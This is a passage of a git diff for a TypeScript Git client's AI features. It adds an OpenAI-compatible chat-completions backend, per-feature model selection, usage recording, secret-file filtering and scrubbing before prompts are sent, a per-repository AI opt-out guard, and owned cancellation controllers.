+90,7 @@ export class ErrorExplainService { system: ERROR_EXPLAIN_SYSTEM_PROMPT, prompt, schema: ERROR_EXPLAIN_SCHEMA as unknown as Record, - model: settings.model, + model: modelFor(settings, 'errorExplain'), effort: settings.effort === 'max' ? 'high' : settings.effort, signal: controller.signal, }); diff --git a/src/main/ai/explain.ts b/src/main/ai/explain.ts index 1e4725f..23d3fa2 100644 --- a/src/main/ai/explain.ts +++ b/src/main/ai/explain.ts @@ -7,6 +7,8 @@ */ import type { DiffOptions } from '@shared/ipc'; import type { CommitFile, ExplainFollowUp, ExplainSource, ExplainTarget, Explanation, WorkingFile } from '@shared/types'; +import { modelFor } from '@shared/ai-model'; +import { secretFileReason } from '@shared/secrets'; import { EXPLAIN_FOLLOWUP_LIMIT } from '@shared/types'; import { parseUnifiedDiff } from '@shared/diff/parse'; import { getCommitFileDiff, getStashFileDiff, getWorkingDiff } from '../git/diff'; @@ -17,6 +19,7 @@ import { log } from '../logger'; import type { Store } from '../store'; import type { ToolLocator } from '../tools'; import { AiError } from './backends'; +import { cancelOwned, ownedController } from '../core/client-context'; import { createBackend } from './provider'; import { buildExplainFollowUpPrompt, buildExplainPrompt, EXPLAIN_FOLLOWUP_SCHEMA, EXPLAIN_FOLLOWUP_SYSTEM_PROMPT, EXPLAIN_SCHEMA, EXPLAIN_SYSTEM_PROMPT, type ExplainFilePromptInput } from './prompts'; import { buildRangeContext, explainCacheKey, indexNewSideLines, isVolatileExplainTarget, markSelectedRange, splitPatchByFile, validateExplanation, validateFollowUpAnswer } from './explain-core'; @@ -48,8 +51,7 @@ export class ExplainService { constructor(private readonly store: Store, private readonly tools: ToolLocator, private readonly git: GitClient) {} cancel(): void { - this.controller?.abort(); - this.controller = null; + if (cancelOwned(this.controller)) this.controller = null; } /** True while an explanation or follow-up is in flight; used by the update install gate alongside the resolver/review services. */ @@ -79,8 +81,8 @@ export class ExplainService { const volatile = isVolatileExplainTarget(target); if (cached && !volatile) return cached.explanation; - const { backend, settings } = await createBackend(this.store, this.tools); - const controller = new AbortController(); + const { backend, settings } = await createBackend(this.store, this.tools, 'explain'); + const controller = ownedController(); this.controller = controller; try { const built = await this.buildPrompt(repoPath, target); @@ -92,7 +94,7 @@ export class ExplainService { system: EXPLAIN_SYSTEM_PROMPT, prompt: built.prompt, schema: EXPLAIN_SCHEMA as unknown as Record, - model: settings.model, + model: modelFor(settings, 'explain'), effort: settings.effort, signal: controller.signal, }); @@ -120,15 +122,15 @@ export class ExplainService { if (!entry) throw new AiError('Could not rebuild the original explanation context. Explain the target again.', 'other'); } - const { backend, settings } = await createBackend(this.store, this.tools); - const controller = new AbortController(); + const { backend, settings } = await createBackend(this.store, this.tools, 'explain'); + const controller = ownedController(); this.controller = controller; try { const response = await backend.complete({ system: EXPLAIN_FOLLOWUP_SYSTEM_PROMPT, prompt: buildExplainFollowUpPrompt(entry.basePrompt, history, trimmedQuestion), schema: EXPLAIN_FOLLOWUP_SCHEMA as unknown as Record, - model: settings.model, + model: modelFor(settings, 'explain'), effort: settings.effort === 'max' ? 'high' : settings.effort, signal: controller.signal, }); @@ -162,6 +164,12 @@ export class ExplainService { const fileInputs: ExplainFilePromptInput[] = []; for (const file of files) { const recentHistory = await getRecentFileHistory(this.git, repoPath, sha, file.path); + const secret = secretFileReason(file.path); + if (secret) { + knownPaths.set(file.path, new Set()); + fileInputs.push({ path: file.path, oldPath: file.oldPath, status: file.status, annotatedDiff: `(not sent: ${secret})`, recentHistory: [] }); + continue; + } if (omittedSet.has(file.path)) { knownPaths.set(file.path, new Set()); fileInputs.push({ path: file.path, oldPath: file.oldPath, status: file.status, annotatedDiff: '(omitted: input size limit reached)', recentHistory }); @@ -190,6 +198,8 @@ export class ExplainService { } private async resolveFileDiff(repoPath: string, source: ExplainSource, path: string) { + const secret = secretFileReason(path); + if (secret) throw new AiError(`${path} looks like a secrets file (${secret}), so it is never sent to AI.`, 'other'); if (source.kind === 'commit') { const commit = await getCommit(this.git, repoPath, source.sha); const files = await getCommitFiles(this.git, repoPath, source.sha, commit.parents); diff --git a/src/main/ai/nlPalette.ts b/src/main/ai/nlPalette.ts index aed03b0..58f4822 100644 --- a/src/main/ai/nlPalette.ts +++ b/src/main/ai/nlPalette.ts @@ -8,6 +8,7 @@ */ import type { ApiMethods } from '@shared/ipc'; import type { GitErrorInfo, NlPlan, NlProgressEvent, NlRisk, NlRunResult, NlStep, OperationKind } from '@shared/types'; +import { modelFor } from '@shared/ai-model'; import { getBranches } from '../git/branches'; import { GitError, toGitErrorInfo, type GitClient } from '../git/git'; import { getRemotes, getStashes, getTags } from '../git/operations'; @@ -18,6 +19,7 @@ import type { ToolLocator } from '../tools'; import { AiError } from './backends'; import { evaluatePlan, type NlPolicyContext, type RawNlPlan, type RawNlStep } from './nlPolicy'; import { buildNlPalettePrompt, NL_PALETTE_SCHEMA, NL_PALETTE_SYSTEM_PROMPT, type NlPalettePromptContext } from './prompts'; +import { cancelOwned, ownedController } from '../core/client-context'; import { createBackend } from './provider'; const RISKS: NlRisk[] = ['safe', 'changes-history', 'discards-work', 'touches-remote']; @@ -171,8 +173,7 @@ export class NlPaletteService { constructor(private readonly store: Store, private readonly tools: ToolLocator, private readonly git: GitClient) {} cancel(): void { - this.controller?.abort(); - this.controller = null; + if (cancelOwned(this.controller)) this.controller = null; } isActive(): boolean { @@ -191,8 +192,8 @@ export class NlPaletteService { async plan(repoPath: string, request: string, priorQuestion: string | null, answer: string | null): Promise { return this.withBusy(repoPath, async () => { - const { backend, settings } = await createBackend(this.store, this.tools); - const controller = new AbortController(); + const { backend, settings } = await createBackend(this.store, this.tools, 'nlPalette'); + const controller = ownedController(); this.controller = controller; try { const { policy, prompt } = await gatherContext(this.git, repoPath); @@ -200,7 +201,7 @@ export class NlPaletteService { system: NL_PALETTE_SYSTEM_PROMPT, prompt: buildNlPalettePrompt({ ...prompt, request, priorQuestion, answer }), schema: NL_PALETTE_SCHEMA as unknown as Record, - model: settings.model, + model: modelFor(settings, 'nlPalette'), effort: settings.effort, signal: controller.signal, }); diff --git a/src/main/ai/openai-backend.ts b/src/main/ai/openai-backend.ts new file mode 100644 index 0000000..f3973b4 --- /dev/null +++ b/src/main/ai/openai-backend.ts @@ -0,0 +1,99 @@ +import { scrubSecrets } from '@shared/secrets'; +import { AiError, extractJson, type AiBackend, type AiRequest, type AiResponse } from './backends'; + +/** A single completion on a local model can be slow; this bounds a hung server without cutting off a legitimate long answer. */ +const REQUEST_TIMEOUT_MS = 10 * 60 * 1000; + +interface ChatCompletion { + model?: string; + choices?: { message?: { content?: string | null; refusal?: string | null }; finish_reason?: string | null }[]; + usage?: { prompt_tokens?: number; completion_tokens?: number; prompt_tokens_details?: { cached_tokens?: number } }; + error?: { message?: string }; +} + +/** + * Backend for any server that speaks OpenAI's `POST {base}/chat/completions` + * (OpenAI, Azure-compatible gateways, Ollama, LM Studio, vLLM, OpenRouter, …). + * Asks for strict `json_schema` output; servers that reject that response + * format get one retry with `json_object` and the schema spelled out in the + * system prompt. Effort is not sent: there is no portable equivalent. + */ +export class OpenAiBackend implements AiBackend { + readonly name = 'openai-compatible' as const; + + constructor( + private readonly baseUrl: string, + private readonly apiKey: string | null, + private readonly fetchImpl: typeof fetch = fetch, + ) {} + + async complete(req: AiRequest): Promise { + req.onProgress?.('Contacting the AI server…'); + const strict = await this.post(req, true); + const res = strict.status === 400 || strict.status === 422 ? await this.post(req, false) : strict; + return this.parse(req, res.status, res.body); + } + + private async post(req: AiRequest, useJsonSchema: boolean): Promise<{ status: number; body: string }> { + const system = useJsonSchema ? req.system : `${req.system}\n\nRespond with a single JSON object (no prose, no code fences) that conforms to this JSON Schema:\n${JSON.stringify(req.schema)}`; + const body = { + model: req.model, + messages: [ + { role: 'system', content: system }, + { role: 'user', content: req.sharedPrompt ? `${req.sharedPrompt}\n\n${req.prompt}` : req.prompt }, + ], + response_format: useJsonSchema ? { type: 'json_schema', json_schema: { name: 'response', strict: true, schema: req.schema } } : { type: 'json_object' }, + stream: false, + }; + const timeout = AbortSignal.timeout(REQUEST_TIMEOUT_MS); + try { + const res = await this.fetchImpl(`${this.baseUrl.replace(/\/+$/, '')}/chat/completions`, { + method: 'POST', + headers: { 'content-type': 'application/json', ...(this.apiKey ? { authorization: `Bearer ${this.apiKey}` } : {}) }, + body: JSON.stringify(body), + signal: req.signal ? AbortSignal.any([req.signal, timeout]) : timeout, + }); + return { status: res.status, body: await res.text() }; + } catch (err) { + if (req.signal?.aborted) throw new AiError('Cancelled', 'cancelled'); + if (timeout.aborted) throw new AiError('The AI server did not answer within 10 minutes.', 'network'); + throw new AiError(`Could not reach the AI server at ${this.baseUrl}: ${scrubSecrets((err as Error).message ?? String(err))}`, 'network'); + } + } + + private parse(req: AiRequest, status: number, text: string): AiResponse { + let data: ChatCompletion = {}; + try { + data = JSON.parse(text) as ChatCompletion; + } catch { + /* non-JSON body (HTML error page, proxy text): handled by the status / empty-choice checks below */ + } + if (status < 200 || status >= 300) { + const detail = scrubSecrets(data.error?.message ?? text).slice(0, 300); + if (status === 401 || status === 403) throw new AiError('The AI server rejected the API key. Check it in Options → AI.', 'auth'); + if (status === 404) throw new AiError(`The AI server returned 404 for model "${req.model}" or the endpoint. Check the base URL and model name in Options → AI.`, 'other'); + if (status === 429) throw new AiError('The AI server rate limit was reached. Wait a moment and try again.', 'rate-limit'); + throw new AiError(`The AI server returned HTTP ${status}${detail ? `: ${detail}` : ''}`, 'other'); + } + const choice = data.choices?.[0]; + if (choice?.message?.refusal || choice?.finish_reason === 'content_filter') throw new AiError(`The model declined this request${choice.message?.refusal ? `: ${choice.message.refusal}` : ''}.`, 'refusal'); + if (choice?.finish_reason === 'length') throw new AiError('The response was too long and was cut off. Try reviewing fewer files at once.', 'truncated'); + const content = choice?.message?.content; + if (!content) throw new AiError('The AI server returned an empty response. Check that the base URL points at an OpenAI-compatible /chat/completions endpoint.', 'invalid-output'); + let json: unknown; + try { + json = extractJson(content); + } catch (err) { + if (err instanceof AiError) throw err; + throw new AiError('The model returned malformed JSON.', 'invalid-output'); + } + const usage = data.usage; + const cached = usage?.prompt_tokens_details?.cached_tokens ?? 0; + return { + json, + model: data.model || req.model, + // OpenAI counts cached tokens inside prompt_tokens; AiUsage keeps them separate. + usage: usage ? { inputTokens: Math.max(0, (usage.prompt_tokens ?? 0) - cached), outputTokens: usage.completion_tokens ?? 0, cacheReadTokens: cached, cacheWriteTokens: 0, costUsd: null } : undefined, + }; + } +} diff --git a/src/main/ai/prDraft.ts b/src/main/ai/prDraft.ts index 9de5c7c..4af8979 100644 --- a/src/main/ai/prDraft.ts +++ b/src/main/ai/prDraft.ts @@ -1,4 +1,5 @@ import type { PrDraft, PrDraftInput } from '@shared/types'; +import { modelFor } from '@shared/ai-model'; import { getRangePatch } from '../git/diff'; import { GitError, type GitClient } from '../git/git'; import { compareRefs, mergeBase } from '../git/log'; @@ -23,6 +24,7 @@ import { templateCheckboxLabels, } from './pr-draft-core'; import { buildPrDraftPrompt, PR_DRAFT_SCHEMA, PR_DRAFT_SYSTEM_PROMPT, type PrDraftPromptCommit, type PrDraftPromptIssue } from './prompts'; +import { cancelOwned, ownedController } from '../core/client-context'; import { createBackend } from './provider'; import { stripFences } from './review-core'; @@ -48,8 +50,7 @@ export class PrDraftService { constructor(private readonly store: Store, private readonly tools: ToolLocator, private readonly git: GitClient, private readonly gh: GhClient, private readonly repos: RepositoryManager) {} cancel(): void { - this.controller?.abort(); - this.controller = null; + if (cancelOwned(this.controller)) this.controller = null; } /** True while a draft is in flight; used by the update install gate to refuse installing mid-draft. */ @@ -64,12 +65,12 @@ export class PrDraftService { } async draft(repoPath: string, input: PrDraftInput, report: PrDraftReporter): Promise { - const controller = new AbortController(); + const controller = ownedController(); this.controller = controller; const signal = controller.signal; try { report('started', 'Reading commits and diff…'); - const { backend, settings } = await createBackend(this.store, this.tools); + const { backend, settings } = await createBackend(this.store, this.tools, 'prDraft'); const baseRef = await this.resolveBaseRef(repoPath, input.base); if (!baseRef) throw new GitError({ message: `Base branch "${input.base}" was not found locally. Fetch first.`, command: '', exitCode: null, stderr: '', stdout: '', code: 'unknown' }); @@ -86,7 +87,7 @@ export class PrDraftService { const subjectsOnly = totalAhead > SUBJECTS_ONLY_THRESHOLD; const commits: PrDraftPromptCommit[] = capped.map((c) => ({ summary: c.summary, body: subjectsOnly ? null : c.body || null })); - const { stat, patch, truncated } = await getRangePatch(this.git, repoPath, mb, headSha, MAX_DIFF_BYTES); + const { stat, patch, truncated, skipped } = await getRangePatch(this.git, repoPath, mb, headSha, MAX_DIFF_BYTES); const changedPaths = (await this.git.stdout(repoPath, ['diff', '--name-only', '-M', `${mb}...${headSha}`], { readOnly: true, okExitCodes: [1], signal })).split('\n').filter(Boolean); const rawTemplate = await findPullRequestTemplate(repoPath); @@ -111,7 +112,7 @@ export class PrDraftService { } const promptIssues: PrDraftPromptIssue[] = validIssues.map((r) => ({ number: r.number, closing: r.closing, title: issueDetails.get(r.number)?.title ?? '', state: issueDetails.get(r.number)?.state ?? '' })); - report('thinking', `Drafting with ${settings.model}…`); + report('thinking', `Drafting with ${modelFor(settings, 'prDraft')}…`); const response = await backend.complete({ system: PR_DRAFT_SYSTEM_PROMPT, prompt: buildPrDraftPrompt({ @@ -130,7 +131,7 @@ export class PrDraftService { existingBody: input.existingBody, }), schema: PR_DRAFT_SCHEMA as unknown as Record, - model: settings.model, + model: modelFor(settings, 'prDraft'), effort: settings.effort === 'max' ? 'high' : settings.effort, signal, onProgress: (m) => report('writing', m), @@ -158,7 +159,7 @@ export class PrDraftService { report('done', 'Draft ready'); log.info(`AI PR draft for ${repoPath} (${input.head} -> ${input.base}): ${capped.length}/${totalAhead} commits, ${linkedIssues.length} linked issue(s), via ${backend.name}/${response.model}`); - return { title, body, linkedIssues, templateSectionsFilled, truncated, restored, model: response.model }; + return { title, body, linkedIssues, templateSectionsFilled, truncated, restored, skipped, model: response.model }; } catch (err) { const message = err instanceof Error ? err.message : String(err); if (!signal.aborted) report('error', message); diff --git a/src/main/ai/prompts.ts b/src/main/ai/prompts.ts index f75959b..0bdcfbc 100644 --- a/src/main/ai/prompts.ts +++ b/src/main/ai/prompts.ts @@ -235,13 +235,14 @@ function describeContext(ctx: ReviewPromptContext): string { return parts.join('\n\n'); } -export function buildReviewFilePrompt(input: ReviewFilePromptInput): string { - const parts: string[] = [describeContext(input.context)]; +/** `sharedPrompt` (PR context, identical for every file of a run) and `prompt` (the per-file part); backends send `sharedPrompt` as a cached leading block, the full text is `sharedPrompt + '\n\n' + prompt`. */ +export function buildReviewFilePrompt(input: ReviewFilePromptInput): { sharedPrompt: string; prompt: string } { + const parts: string[] = []; parts.push(`File under review: ${input.path}${input.oldPath ? ` (renamed from ${input.oldPath})` : ''} — ${input.status}${input.language ? `, ${input.language}` : ''}`); parts.push(`Diff${input.truncated ? ' (truncated; review what is shown)' : ''}. Each new-side line is prefixed with [new:N]; deleted lines are prefixed with [del] and cannot be cited:\n${input.annotatedDiff}`); if (input.contextExcerpt) parts.push(`Surrounding code from the new version of the file (for understanding only; cite diff lines, not these):\n${input.contextExcerpt}`); parts.push('Review this file and return findings using the schema.'); - return parts.join('\n\n'); + return { sharedPrompt: describeContext(input.context), prompt: parts.join('\n\n') }; } export function buildReviewSummaryPrompt(ctx: ReviewPromptContext, fileSummaries: { path: string; summary: string }[], findings: { path: string; line: number; severity: string; title: string }[], skipped: number, droppedInvalid: number): string { @@ -320,13 +321,13 @@ export interface PrecommitFilePromptInput { truncated: boolean; } -export function buildPrecommitFilePrompt(input: PrecommitFilePromptInput): string { - const parts: string[] = [describePrecommitContext(input.context)]; +export function buildPrecommitFilePrompt(input: PrecommitFilePromptInput): { sharedPrompt: string; prompt: string } { + const parts: string[] = []; parts.push(`File under review: ${input.path}${input.oldPath ? ` (renamed from ${input.oldPath})` : ''} — ${input.status}${input.language ? `, ${input.language}` : ''}${input.partial ? '. Only the lines below are selected for this commit; the rest of the file is left out.' : ''}`); parts.push(`Diff${input.truncated ? ' (truncated; review what is shown)' : ''}. Each new-side line is prefixed with [new:N]; deleted lines are prefixed with [del] and cannot be cited:\n${input.annotatedDiff}`); if (input.contextExcerpt) parts.push(`Surrounding code from the current version of the file (for understanding only; cite diff lines, not these):\n${input.contextExcerpt}`); parts.push('Review this file and return findings using the schema.'); - return parts.join('\n\n'); + return { sharedPrompt: describePrecommitContext(input.context), prompt: parts.join('\n\n') }; } export function buildPrecommitSummaryPrompt(ctx: PrecommitPromptContext, fileSummaries: { path: string; summary: string }[], findings: { path: string; line: number; severity: string; title: string }[], skipped: number, droppedInvalid: number): string { diff --git a/src/main/ai/provider.ts b/src/main/ai/provider.ts index 2e228e1..893f934 100644 --- a/src/main/ai/provider.ts +++ b/src/main/ai/provider.ts @@ -1,20 +1,47 @@ -import type { AiSettings } from '@shared/types'; +import type { AiFeature, AiSettings } from '@shared/types'; import type { Store } from '../store'; import type { ToolLocator } from '../tools'; -import { AiError, AnthropicBackend, ClaudeCliBackend, type AiBackend } from './backends'; +import { AiError, AnthropicBackend, ClaudeCliBackend, withScrubbing, type AiBackend } from './backends'; +import { modelFor } from '@shared/ai-model'; +import { OpenAiBackend } from './openai-backend'; +import { recordUsage } from './usage'; -/** Creates the AI backend selected in settings, or throws a not-configured AiError. */ -export async function createBackend(store: Store, tools: ToolLocator): Promise<{ backend: AiBackend; settings: AiSettings }> { +/** Scrubs secrets from the prompt of every feature but the resolver (whose text is written back to the file), and records every successful request's usage under `feature` (best-effort; see usage.ts). */ +function withUsage(backend: AiBackend, feature: AiFeature): AiBackend { + const inner = feature === 'resolver' ? backend : withScrubbing(backend); + return { + name: backend.name, + async complete(req) { + const res = await inner.complete(req); + void recordUsage(feature, res.usage); + return res; + }, + }; +} + +/** Creates the AI backend selected in settings, or throws a not-configured AiError. Usage of the returned backend is recorded under `feature`. */ +export async function createBackend(store: Store, tools: ToolLocator, feature: AiFeature): Promise<{ backend: AiBackend; settings: AiSettings }> { const settings = store.getSettings().ai; if (settings.provider === 'disabled') throw new AiError('AI features are turned off. Enable them in Options → AI.', 'not-configured'); if (settings.provider === 'claude-cli') { const path = tools.claudePath(); if (!path) throw new AiError('Claude Code CLI was not found. Install it or switch to an Anthropic API key in Options → AI.', 'not-configured'); - return { backend: new ClaudeCliBackend(path, await tools.env()), settings }; + return { backend: withUsage(new ClaudeCliBackend(path, await tools.env()), feature), settings }; + } + if (settings.provider === 'openai-compatible') { + let valid = false; + try { + valid = /^https?:$/.test(new URL(settings.openaiBaseUrl).protocol); + } catch { + /* falls through to the not-configured error */ + } + if (!valid) throw new AiError('No valid base URL is set for the OpenAI-compatible server. Add one in Options → AI.', 'not-configured'); + if (!modelFor(settings, feature)) throw new AiError('No model name is set for the OpenAI-compatible server. Add one in Options → AI.', 'not-configured'); + return { backend: withUsage(new OpenAiBackend(settings.openaiBaseUrl, store.getOpenaiApiKey()), feature), settings }; } const key = store.getApiKey(); if (!key && !process.env.ANTHROPIC_API_KEY && !process.env.ANTHROPIC_AUTH_TOKEN) { throw new AiError('No Anthropic API key is configured. Add one in Options → AI, or switch to the Claude Code CLI.', 'not-configured'); } - return { backend: new AnthropicBackend(key), settings }; + return { backend: withUsage(new AnthropicBackend(key), feature), settings }; } diff --git a/src/main/ai/rebasePlan.ts b/src/main/ai/rebasePlan.ts index 0e817a0..96f42f1 100644 --- a/src/main/ai/rebasePlan.ts +++ b/src/main/ai/rebasePlan.ts @@ -10,6 +10,7 @@ */ import type { OperationOutcome } from '@shared/ipc'; import type { RebaseApplyProgress, RebasePlan, RebasePreflight } from '@shared/types'; +import { modelFor } from '@shared/ai-model'; import { getCurrentBranchName, getDefaultBranch } from '../git/branches'; import { compareRefs, getCommitFiles, getCommitPatch, isCommitPushed } from '../git/log'; import { EMPTY_TREE_SHA, GitError, type GitClient } from '../git/git'; @@ -22,6 +23,7 @@ import type { ToolLocator } from '../tools'; import { AiError } from './backends'; import { budgetCommitPatches, capCommitsForPlanning, REBASE_MAX_PATCH_BYTES_PER_COMMIT, type OriginalCommitInfo, validateRebasePlan } from './rebase-plan-core'; import { buildRebasePlanPrompt, REBASE_PLAN_SCHEMA, REBASE_PLAN_SYSTEM_PROMPT, type RebasePlanPromptCommit } from './prompts'; +import { cancelOwned, ownedController } from '../core/client-context'; import { createBackend } from './provider'; function newPlanId(): string { @@ -35,8 +37,7 @@ export class RebasePlanService { constructor(private readonly store: Store, private readonly tools: ToolLocator, private readonly git: GitClient) {} cancel(): void { - this.controller?.abort(); - this.controller = null; + if (cancelOwned(this.controller)) this.controller = null; } /** True while a plan proposal is in flight; used by the update-install gate alongside the other AI services. */ @@ -176,8 +177,8 @@ export class RebasePlanService { patch: includePatch.has(c.sha) ? patchResults[i].patch : null, })); - const { backend, settings: aiSettings } = await createBackend(this.store, this.tools); - const controller = new AbortController(); + const { backend, settings: aiSettings } = await createBackend(this.store, this.tools, 'rebase'); + const controller = ownedController(); this.controller = controller; try { const currentBranchLabel = currentBranch ?? 'HEAD'; @@ -185,7 +186,7 @@ export class RebasePlanService { system: REBASE_PLAN_SYSTEM_PROMPT, prompt: buildRebasePlanPrompt({ base: resolvedBase, branch: currentBranchLabel, commits: promptCommits, truncated }), schema: REBASE_PLAN_SCHEMA as unknown as Record, - model: aiSettings.model, + model: modelFor(aiSettings, 'rebase'), effort: aiSettings.effort, signal: controller.signal, }); diff --git a/src/main/ai/release-notes.ts b/src/main/ai/release-notes.ts index d7bf977..f04c550 100644 --- a/src/main/ai/release-notes.ts +++ b/src/main/ai/release-notes.ts @@ -1,4 +1,5 @@ import type { ReleaseNotes, ReleaseNotesInput, ReleaseRangeQuery, ReleaseRangeResult, ReleasePr } from '@shared/types'; +import { modelFor } from '@shared/ai-model'; import { mapWithConcurrency } from '@shared/util'; import { getLatestReachableTag } from '../git/operations'; import { getReleaseDiffStat, getReleaseLog } from '../git/log'; @@ -11,6 +12,7 @@ import type { ToolLocator } from '../tools'; import { AiError } from './backends'; import { buildReleaseNotes, collectPrNumbers } from './release-notes-core'; import { buildReleaseNotesPrompt, RELEASE_NOTES_SCHEMA, releaseNotesSystemPrompt, type ReleaseNotesPromptCommit, type ReleaseNotesPromptPr } from './prompts'; +import { cancelOwned, ownedController } from '../core/client-context'; import { createBackend } from './provider'; /** Pull request numbers beyond this many in one range are not looked up (spec: "capped at 100"). */ @@ -34,8 +36,7 @@ export class ReleaseNotesService { constructor(private readonly store: Store, private readonly tools: ToolLocator, private readonly git: GitClient, private readonly gh: GhClient, private readonly repos: RepositoryManager) {} cancel(): void { - this.controller?.abort(); - this.controller = null; + if (cancelOwned(this.controller)) this.controller = null; } /** True while a generation is in flight; used by the update install gate to refuse installing mid-generation. */ @@ -73,12 +74,12 @@ export class ReleaseNotesService { } async generate(repoPath: string, input: ReleaseNotesInput, report: ReleaseNotesReporter): Promise { - const controller = new AbortController(); + const controller = ownedController(); this.controller = controller; const signal = controller.signal; try { report('started', 'Reading commits…'); - const { backend, settings } = await createBackend(this.store, this.tools); + const { backend, settings } = await createBackend(this.store, this.tools, 'releaseNotes'); const { commits, mergeSubjects, truncated } = await getReleaseLog(this.git, repoPath, input.range.from, input.range.to); if (!commits.length) throw new AiError('There are no commits in this range to generate notes from.', 'other'); @@ -87,7 +88,7 @@ export class ReleaseNotesService { const prs = await this.fetchPrs(repoPath, prNumbers, input.includePrs); const prTitles = new Map(prs.map((p) => [p.number, p.title])); - report('thinking', `Drafting with ${settings.model}…`); + report('thinking', `Drafting with ${modelFor(settings, 'releaseNotes')}…`); const promptCommits: ReleaseNotesPromptCommit[] = commits.map((c) => ({ sha: c.sha, subject: c.subject, body: c.body, prNumber: c.prNumber })); const promptPrs: ReleaseNotesPromptPr[] = prs.map((p) => ({ number: p.number, title: p.title, labels: p.labels })); const response = await backend.complete({ @@ -103,7 +104,7 @@ export class ReleaseNotesService { truncated, }), schema: RELEASE_NOTES_SCHEMA as unknown as Record, - model: settings.model, + model: modelFor(settings, 'releaseNotes'), effort: settings.effort, signal, onProgress: (m) => report('writing', m), diff --git a/src/main/ai/repo-guard.ts b/src/main/ai/repo-guard.ts new file mode 100644 index 0000000..c017a08 --- /dev/null +++ b/src/main/ai/repo-guard.ts @@ -0,0 +1,26 @@ +import { AiError } from './backends'; + +/** + * `ai.*` methods that are never blocked: rollbacks of something already applied (a later opt-out must not + * strand the user) and `ai.cancel`, whose first argument is a feature name, not a repository path. + */ +const UNGUARDED_METHODS = new Set(['ai.split.undo', 'ai.rebase.undo', 'ai.resolve.useSideForBlock', 'ai.cancel']); + +type AnyHandler = (...args: unknown[]) => Promise; + +/** + * Wraps, in place, every `ai.*` handler whose first argument is a repository path so it throws an + * AiError while AI is switched off for that repository (`blockedReason` returns the message), before + * any service code runs. One chokepoint: a new `ai.*` method is covered without remembering to guard it. + */ +export function guardAiHandlers(handlers: Record, blockedReason: (repoPath: string) => Promise): void { + for (const [method, inner] of Object.entries(handlers)) { + if (!method.startsWith('ai.') || UNGUARDED_METHODS.has(method)) continue; + handlers[method] = async (...args) => { + const repoPath = args[0]; + const reason = typeof repoPath === 'string' ? await blockedReason(repoPath) : null; + if (reason) throw new AiError(reason, 'other'); + return inner(...args); + }; + } +} diff --git a/src/main/ai/resolve-examples.ts b/src/main/ai/resolve-examples.ts index 5845a65..216be79 100644 --- a/src/main/ai/resolve-examples.ts +++ b/src/main/ai/resolve-examples.ts @@ -1,5 +1,6 @@ import type { ManualResolutionExample } from '@shared/types'; import { hasConflictMarkers, parseConflicts } from '@shared/diff/conflicts'; +import { secretFileReason } from '@shared/secrets'; const MAX_EXAMPLES = 3; const MAX_TOTAL_BYTES = 12_000; @@ -23,9 +24,10 @@ function byteLength(s: string): number { * of surrounding context on each side, for both the original (marked) and * resolved text, so the model sees the reconciliation pattern without the * whole file. Returns null when `original` has no parseable conflict blocks - * (nothing useful to show as an example). + * (nothing useful to show as an example), or when the file looks like a secrets file. */ export function trimManualResolution(raw: RawManualResolution): ManualResolutionExample | null { + if (secretFileReason(raw.path)) return null; if (!hasConflictMarkers(raw.original)) return null; const parsed = parseConflicts(raw.original); if (!parsed.blocks.length) return null; diff --git a/src/main/ai/resolver.ts b/src/main/ai/resolver.ts index 9f71de7..82b1d4f 100644 --- a/src/main/ai/resolver.ts +++ b/src/main/ai/resolver.ts @@ -1,5 +1,6 @@ -import { readFile, writeFile } from 'node:fs/promises'; -import type { AiSettings, ConflictBlockResolution, ConflictResolutionResult, InProgressOperation, ManualResolutionExample, PostResolveCheckResult, WorkingFile } from '@shared/types'; +import type { AiFeature, AiSettings, ConflictBlockResolution, ConflictResolutionResult, InProgressOperation, ManualResolutionExample, PostResolveCheckResult, WorkingFile } from '@shared/types'; +import { modelFor } from '@shared/ai-model'; +import { secretFileReason } from '@shared/secrets'; import { applyResolutions, hasConflictMarkers, normalizeResolutionText, parseConflicts, resolutionForChoice, type BlockChoice } from '@shared/diff/conflicts'; import { languageFromPath, splitLines } from '@shared/util'; import { runPostResolveCheck, resolveCheckCommand } from './check-runner'; @@ -8,11 +9,13 @@ import { toFsPath, getPatchForFiles } from '../git/diff'; import type { GitClient } from '../git/git'; import { markResolved } from '../git/operations'; import { readRepoConfig } from '../repo/config'; +import { readRepoFile, writeRepoFile } from '../repo/paths'; import { getStatus } from '../git/status'; import { log } from '../logger'; import type { Store } from '../store'; import type { ToolLocator } from '../tools'; import { AiError, type AiBackend } from './backends'; +import { cancelOwned, ownedController } from '../core/client-context'; import { createBackend } from './provider'; import { buildCommitMessagePrompt, buildResolvePrompt, COMMIT_MESSAGE_SCHEMA, COMMIT_MESSAGE_SYSTEM_PROMPT, RESOLUTION_SCHEMA, RESOLVE_SYSTEM_PROMPT } from './prompts'; @@ -56,25 +59,36 @@ export interface UseSideForBlockResult { ranges: { id: number; start: number; end: number }[]; } +/** Conflicted file text; symlinks and paths resolving outside the repository are refused (their target would otherwise be read and uploaded). */ +async function readConflictFile(repoPath: string, path: string): Promise { + toFsPath(repoPath, path); + const buf = await readRepoFile(repoPath, path); + if (!buf) throw new AiError('This file is a symbolic link or outside the repository; resolve it manually.', 'other'); + return buf.toString('utf8'); +} + export class ConflictResolver { private controller: AbortController | null = null; + /** Commit-message generation is cancelled on its own (`ai.cancel('commitMessage')`), never by a conflict-resolution cancel. */ + private commitController: AbortController | null = null; /** Manual resolutions recorded for the current operation, keyed by repository path, most recent first. Cleared once the repository's operation ends (see getExamplePaths) or on app exit (in-memory only, never persisted). */ private examples = new Map(); constructor(private readonly store: Store, private readonly tools: ToolLocator, private readonly git: GitClient) {} - private backend(): Promise<{ backend: AiBackend; settings: AiSettings }> { - return createBackend(this.store, this.tools); + private backend(feature: AiFeature = 'resolver'): Promise<{ backend: AiBackend; settings: AiSettings }> { + return createBackend(this.store, this.tools, feature); } - cancel(): void { - this.controller?.abort(); - this.controller = null; + cancel(feature: 'resolver' | 'commitMessage' = 'resolver'): void { + if (feature === 'commitMessage') { + if (cancelOwned(this.commitController)) this.commitController = null; + } else if (cancelOwned(this.controller)) this.controller = null; } /** True while a resolve/resolveAll run is in flight; used by the update install gate to refuse installing mid-resolution. */ isActive(): boolean { - return this.controller !== null; + return this.controller !== null || this.commitController !== null; } async test(): Promise<{ ok: boolean; message: string }> { @@ -84,10 +98,10 @@ export class ConflictResolver { system: 'Reply using the requested JSON schema.', prompt: 'Return {"ok": true}.', schema: { type: 'object', properties: { ok: { type: 'boolean' } }, required: ['ok'], additionalProperties: false }, - model: settings.model, + model: modelFor(settings, 'resolver'), effort: 'low', }); - return { ok: true, message: `Connected via ${backend.name === 'anthropic' ? 'the Anthropic API' : 'Claude Code'} (model ${res.model}).` }; + return { ok: 